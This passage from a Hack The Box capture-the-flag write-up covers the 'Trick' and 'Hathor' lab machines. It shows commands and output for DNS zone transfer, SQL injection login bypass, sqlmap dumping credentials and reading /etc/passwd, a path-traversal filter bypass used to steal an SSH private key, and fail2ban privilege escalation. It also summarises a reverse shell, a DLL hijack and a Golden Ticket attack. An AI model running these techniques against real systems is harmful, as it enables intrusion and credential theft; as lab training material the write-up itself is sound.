;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21082
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3ac7f0627261ff6a064d4d6562ed8eb780f90544ccebc2ae (good)
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
;; Query time: 44 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (UDP)
;; WHEN: Fri Aug 05 17:42:14 EDT 2022
;; MSG SIZE rcvd: 163
```
This tells us that the box's domain name is `trick.htb`. Let's add that domain to `/etc/hosts`: `echo "10.10.11.166 trick.htb" | sudo tee -a /etc/hosts`.
The second item on the [HackTricks page for DNS](https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns#zone-transfer) is about "Zone Transfers." You can learn more from [this article](https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/). We run `dig axfr trick.htb @trick.htb` to get the zone transfers for `trick.htb`:
```
; <<>> DiG 9.18.4-2-Debian <<>> axfr trick.htb @trick.htb
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 24 msec
;; SERVER: 10.10.11.166#53(trick.htb) (TCP)
;; WHEN: Fri Aug 05 17:44:53 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)
```
This gives us a new subdomain: `preprod-payroll.trick.htb`. Let's add it to `/etc/hosts`: `echo "10.10.11.166 preprod-payroll.trick.htb" | sudo tee -a /etc/hosts`.
### Virtual Host Scanning
Let's scan for other virtual hosts to be safe. We can do this by running `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: FUZZ.trick.htb" -fs 5480`. This finds nothing, but since we know one of the subdomains starts with `preprod-`, we can try bruteforcing only the part after `preprod-` by running `sudo ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: preprod-FUZZ.trick.htb" -fs 5480`:
```
marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 32ms]
payroll [Status: 302, Size: 9546, Words: 1453, Lines: 267, Duration: 26ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1356 req/sec :: Duration: [0:01:30] :: Errors: 0 ::
```
Let's add the new `preprod-marketing` subdomain to `/etc/hosts`: `echo "10.10.11.166 preprod-marketing.trick.htb" | sudo tee -a /etc/hosts`.
### `preprod-payroll` Virtual Host
We have a login form:
After trying the standard basic SQL injections, we find that using `' or 1=1 --` as the username and anything as the password works!
The login form makes a post request to `http://preprod-payroll.trick.htb/ajax.php?action=login`. If we simply make a GET request by visiting that page, we get:
```
Notice: Undefined variable: username in /var/www/payroll/admin_class.php on line 20
Notice: Undefined variable: password in /var/www/payroll/admin_class.php on line 20
3
```
So, we now know the path of a file, which is helpful if we get a LFI exploit or something similar.
Since we know we have a SQL injection, we can use [sqlmap](https://github.com/sqlmapproject/sqlmap) to automate dumping the database. You can learn about sqlmap's command in [its usage documentation](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
```
$ sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:01:17 /2022-08-05/
[18:01:17] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[18:01:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=os8fgd0vrab...lpgtvefjog'). Do you want to use those [Y/n] Y
[18:01:17] [INFO] testing if the target URL content is stable
[18:01:18] [INFO] target URL content is stable
[18:01:18] [INFO] testing if POST parameter 'username' is dynamic
[18:01:18] [WARNING] POST parameter 'username' does not appear to be dynamic
[18:01:18] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[18:01:18] [INFO] testing for SQL injection on POST parameter 'username'
[18:01:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:01:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[18:01:21] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="21")
[18:01:21] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n] Y
[18:01:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:01:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:01:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:01:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:01:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[18:01:22] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[18:01:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:01:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:01:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:01:22] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:01:22] [INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[18:01:22] [INFO] testing 'Generic inline queries'
[18:01:22] [INFO] testing 'MySQL inline queries'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:01:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[18:01:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:01:32] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:01:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:01:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:01:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:01:33] [INFO] target URL appears to have 8 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:01:36] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:01:36] [INFO] target URL appears to be UNION injectable with 8 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:01:39] [INFO] testing 'Generic UNION query (98) - 21 to 40 columns'
[18:01:40] [INFO] testing 'Generic UNION query (98) - 41 to 60 columns'
[18:01:40] [INFO] testing 'MySQL UNION query (98) - 1 to 20 columns'
[18:01:43] [INFO] testing 'MySQL UNION query (98) - 21 to 40 columns'
[18:01:43] [INFO] testing 'MySQL UNION query (98) - 41 to 60 columns'
[18:01:44] [INFO] testing 'MySQL UNION query (98) - 61 to 80 columns'
[18:01:45] [INFO] testing 'MySQL UNION query (98) - 81 to 100 columns'
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 416 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=a,password=a' AND 9182=(SELECT (CASE WHEN (9182=9182) THEN 9182 ELSE (SELECT 2526 UNION SELECT 2437) END))-- TwHM
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=a,password=a' OR (SELECT 9149 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(9149=9149,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- aDCf
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=a,password=a' AND (SELECT 6496 FROM (SELECT(SLEEP(5)))nbBO)-- qqYe
---
[18:01:46] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[18:01:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
```
This identifies a few exploits, which we can now use to explore the database. If we append `--dbs` to the above command we will get the list of databases:
```
[*] information_schema
[*] payroll_db
```
Then, we can dump the tables from `payroll_db` by running `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db --tables`:
```
Database: payroll_db
[11 tables]
+---------------------+
| position |
| allowances |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| users |
+---------------------+
```
Finally, we can dump the `users` table by running `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db -T users --dump`:
```
Database: payroll_db
Table: users
[1 entry]
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
| id | doctor_id | name | type | address | contact | password | username |
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
| 1 | 0 | Administrator | 1 | | | SuperGucciRainbowCake | Enemigosss |
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
```
This gives us a set of credentials: `Enemigosss:SuperGucciRainbowCake`. Trying to use them to SSH onto the machine doesn't work.
We can try reading files with `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /etc/passwd`, which works:
```
$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
```
So, the `michael` user is probably our way onto the box. Attempting to read `/home/michael/.ssh/id_rsa` fails though, so this site is probably not running as the `michael` user.
Since we can read files, we also could have learned about the other subdomain by reading `/etc/nginx/sites-available/default`:
```
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
```
Let's try to read the source code of the `preprod-payroll` virtual host. From the error message we got before, we know `/var/www/payroll/admin_class.php` is a file, so we'll get that to start. We get a somewhat large file, but it has the line `include 'db_connect.php';` at the top. So, we get `/var/www/payroll/db_connect.php`:
```php
```
We have a call to `include` that we can control via the `page` GET parameter. All `../` are removed, but this is only done once, so we can bypass it by using `....//` instead of `../` since removing `../` from `....//` results in `../`. Sure enough, visiting `http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd` gives us the contents of `/etc/passwd`. We can check which user we are running as by getting `http://preprod-marketing.trick.htb/index.php?page=....//....//....//proc/self/status`:
```
Name: php-fpm7.3
Umask: 0022
State: R (running)
Tgid: 24155
Ngid: 0
Pid: 24155
PPid: 724
TracerPid: 0
Uid: 1001 1001 1001 1001
Gid: 1001 1001 1001 1001
FDSize: 64
Groups: 1001 1002
NStgid: 24155
NSpid: 24155
NSpgid: 724
NSsid: 724
...
```
ID `1001` is `michael` (from `/etc/passwd`), so we should be able to get his SSH private key by running `curl http://preprod-marketing.trick.htb/index.php\?page\=....//....//....//home/michael/.ssh/id_rsa > id_rsa`.
Now, we can SSH to the box as `michael` by running `ssh michael@trick.htb -i id_rsa` and then get the `user.txt` flag with `cat ~/user.txt`.
## Privilege Escalation
We upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) by running `upload linpeas.sh` in the local [pwncat](https://github.com/calebstewart/pwncat) shell. Run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Trick/linpeas_report.txt) with `less -R linpeas_report.txt`.
We see this in the output:
```
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
```
So, we can run the command `/etc/init.d/fail2ban restart` as root.
Searching for "fail2ban" in the LinPEAS output also shows this:
```
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group security:
/etc/fail2ban/action.d
```
```
(remote) michael@trick:/tmp$ ls -la /etc/fail2ban/action.d
total 288
drwxrwx--- 2 root security 4096 Aug 6 01:50 .
```
So, we can write to `/etc/fail2ban/action.d`. Searching for "fail2ban privilege escalation" finds [Abusing Fail2ban misconfiguration to escalate privileges on Linux](https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7), which explains the exploit we are about to perform. However, the exploit is not that complicated and can be figured out without the guide.
We can view the enabled fail2ban jails with `cat /etc/fail2ban/jail.conf | grep "enabled = true" -B 1`, which will show us nothing. But jails can also be configured in `/etc/fail2ban/jail.d/`. Checking that directory we find a file called `defaults-debian.conf` that enabled the `sshd` jail.
In the `/etc/fail2ban/jail.conf` file we see the default ban action:
```conf
# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
```
`iptables-multiport` is a file in `/etc/fail2ban/action.d/`, which means we can edit it:
```
ls -la /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Aug 6 02:03 /etc/fail2ban/action.d/iptables-multiport.conf
```
We do not have permissions over this file, but since we have write permissions on the directory we can copy the file to `/tmp` with `cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp`, edit it, and then copy it back with `rm /etc/fail2ban/action.d/iptables-multiport.conf && cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/`.
For the `iptables-multiport.conf` file, we change the line that reads `actionban = -I f2b- 1 -s -j ` to `actionban = cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt && sleep 30 && rm /tmp/root.txt`.
Then, restart fail2ban with `sudo /etc/init.d/fail2ban restart` so our configuration change takes effect. Then, ssh and use an incorrect password multiple times. This should create a file `/tmp/root.txt` with the root flag! Note: We easily could replace the ban command with a reverse shell to get a root shell. The copy, fail2ban restart, failed ssh attempts, and getting the root flag all need to be done very quickly because the fail2ban configuation is reset quite often so you need to hit the number of failed SSH attempts before that happens. Tip: Run `watch ls -la /tmp` to see when the `/tmp/root.txt` file is created. Another Tip: Instead of manually getting fail2ban to ban you, use `hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://trick.htb` to spam a lot of login attempts.
# Hathor
## Summary
Nmap discovers a website and a virtual host for mojoPortal. We register for an account on mojoPortal and notice an admin user. Searching for the mojoPortal default credentials finds `admin@admin.com:admin`, which works! As admin, we are able to edit a file and replace it with an [aspx reverse shell](https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx). Then, we copy that file to a name with the `.aspx` file extension so it can be executed. We figure out where the file is stored on the server and then make a GET request to it to get e reverse shell.
Now that we are on the box, we look around and notice the `C:\Get-bADpasswords` directory, which contains the program [improsec/Get-bADpasswords](https://github.com/improsec/Get-bADpasswords). There is a logs folder that indicates that the user `BeatriceMill` has a weak password. We `BeatriceMill`'s password hash in a CSV file outputted by the program and then we crack it with [CrackStation](https://crackstation.net/).
We look at samba shares and mount the `share` share as the `BeatriceMill` user, who has write access. According to the [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) policy, we can run `C:\share\Bginfo64.exe`, so we aim to overwrite that with a [netcat binary](https://github.com/int0x33/nc.exe/) to spawn a reverse shell. We discover that there is a cronjob that runs the exe in the share. So, we hijack the `7-zip64.dll` DLL file using the second exploit listed under the "Your own" header from [this HackTricks guide](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking#your-own). Our DLL takes ownership of the `Bginfo64.exe` executable, grants everyone full access to it, downloads a static netcat binary from our machine, and then executes that netcat binary to get a reverse shell.
We now have a reverse shell as the `ginawild` user and we get the `user.txt` flag. In the Recycle Bin we find a PFX file. We download it and crack it using `john`. We can assume that this certificate was used to sign the `Get-bADpasswords.ps1` file so that it would be able to run (see [powershell signing](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_signing?view=powershell-7.2) for more information). Additionally, there is a `run.vbs` script in the `C:\Get-bADpasswords` directory that creates a Windows event. We assume something picks up that event and executes the `C:\Get-bADpasswords\Get-bADpasswords.ps1` script as a different user. So, we replace the `Get-bADpasswords.ps1` with a reverse shell and sign it with the certificate, to get a reverse shell as the `bpassrunner` user.
For this final part we perform a [Golden Ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket). To do this we need to the NTLM hash of the `krbtgt` user. Using [Get-ADReplAccount](https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADReplAccount.md), we dump the hashes for many accounts and transfer them to our machine. With the `krbtgt` NTLM hash, we use [impacket](https://github.com/SecureAuthCorp/impacket)'s [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) to create a ticket as the `Administrator` user. Finally, we use [wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) to get a shell and grab the `root.txt` flag.
## Enumeration
### Nmap
First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.147 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.147`.
```
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Home - mojoPortal
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-robots.txt: 29 disallowed entries (15 shown)
| /CaptchaImage.ashx* /Admin/ /App_Browsers/ /App_Code/
| /App_Data/ /App_Themes/ /bin/ /Blog/ViewCategory.aspx$
| /Blog/ViewArchive.aspx$ /Data/SiteImages/emoticons /MyPage.aspx
|_/MyPage.aspx$ /MyPage.aspx* /NeatHtml/ /NeatUpload/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-06 19:06:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49699/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
56024/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HATHOR; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: -10s, deviation: 0s, median: -10s
| smb2-time:
| date: 2022-08-06T19:07:32
|_ start_date: N/A
```
We see references to `hathor.windcorp.htb`, so let's add that domain to `/etc/hosts`: `echo "10.10.11.147 windcorp.htb hathor.windcorp.htb" | sudo tee -a /etc/hosts`.
### Website (Port `80`)
The website appears to be powered by software called "mojoPortal" (according to the page title). The main page says that the site is under construction:
There is a login link at the bottom:
Let's try to register for an account:
We get a settings icon on the left side of the page with a link to the member list at `http://windcorp.htb/MemberList.aspx`:
There is an admin user, so we probably want to try andd get access to that account.
Let's try to bruteforce directories. this produces a lot of `403 - Forbidden: Access is denied` errors, so we filter those with `-fc 403` by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://windcorp.htb/FUZZ/ -fc 403`:
```
home [Status: 200, Size: 11276, Words: 447, Lines: 194, Duration: 221ms]
[Status: 200, Size: 11218, Words: 447, Lines: 194, Duration: 225ms]
admin [Status: 302, Size: 190, Words: 6, Lines: 4, Duration: 165ms]
Home [Status: 200, Size: 11276, Words: 447, Lines: 194, Duration: 301ms]
%20 [Status: 302, Size: 151, Words: 6, Lines: 4, Duration: 5522ms]
Admin [Status: 302, Size: 190, Words: 6, Lines: 4, Duration: 823ms]
*checkout* [Status: 302, Size: 154, Words: 6, Lines: 4, Duration: 756ms]
HOME [Status: 200, Size: 11276, Words: 447, Lines: 194, Duration: 798ms]
Setup [Status: 200, Size: 701, Words: 57, Lines: 15, Duration: 490ms]
*docroot* [Status: 302, Size: 153, Words: 6, Lines: 4, Duration: 861ms]
* [Status: 302, Size: 145, Words: 6, Lines: 4, Duration: 1230ms]
con [Status: 302, Size: 147, Words: 6, Lines: 4, Duration: 5721ms]
http%3A%2F%2Fwww [Status: 302, Size: 167, Words: 6, Lines: 4, Duration: 1987ms]
q%26a [Status: 302, Size: 151, Words: 6, Lines: 4, Duration: 471ms]
http%3A [Status: 302, Size: 161, Words: 6, Lines: 4, Duration: 917ms]
**http%3a [Status: 302, Size: 163, Words: 6, Lines: 4, Duration: 1546ms]
[Status: 200, Size: 11218, Words: 447, Lines: 194, Duration: 790ms]
aux [Status: 302, Size: 147, Words: 6, Lines: 4, Duration: 6833ms]
*http%3A [Status: 302, Size: 162, Words: 6, Lines: 4, Duration: 966ms]
**http%3A [Status: 302, Size: 163, Words: 6, Lines: 4, Duration: 981ms]
http%3A%2F%2Fyoutube [Status: 302, Size: 171, Words: 6, Lines: 4, Duration: 1139ms]
http%3A%2F%2Fblogs [Status: 302, Size: 169, Words: 6, Lines: 4, Duration: 1337ms]
http%3A%2F%2Fblog [Status: 302, Size: 168, Words: 6, Lines: 4, Duration: 1319ms]
**http%3A%2F%2Fwww [Status: 302, Size: 169, Words: 6, Lines: 4, Duration: 954ms]
filemanager [Status: 200, Size: 2531, Words: 72, Lines: 84, Duration: 536ms]
:: Progress: [87651/87651] :: Job [1/1] :: 64 req/sec :: Duration: [0:22:02] :: Errors: 1 ::
```
Searching for "mojoPortal default credentials" finds [this forum thread](https://www.mojoportal.com/Forums/Thread.aspx?pageid=5\&t=2902~-1). Trying the default credentials of `admin@admin.com:admin` works!
We get some possibly useful version numbers from `http://windcorp.htb/Admin/ServerInformation.aspx`:
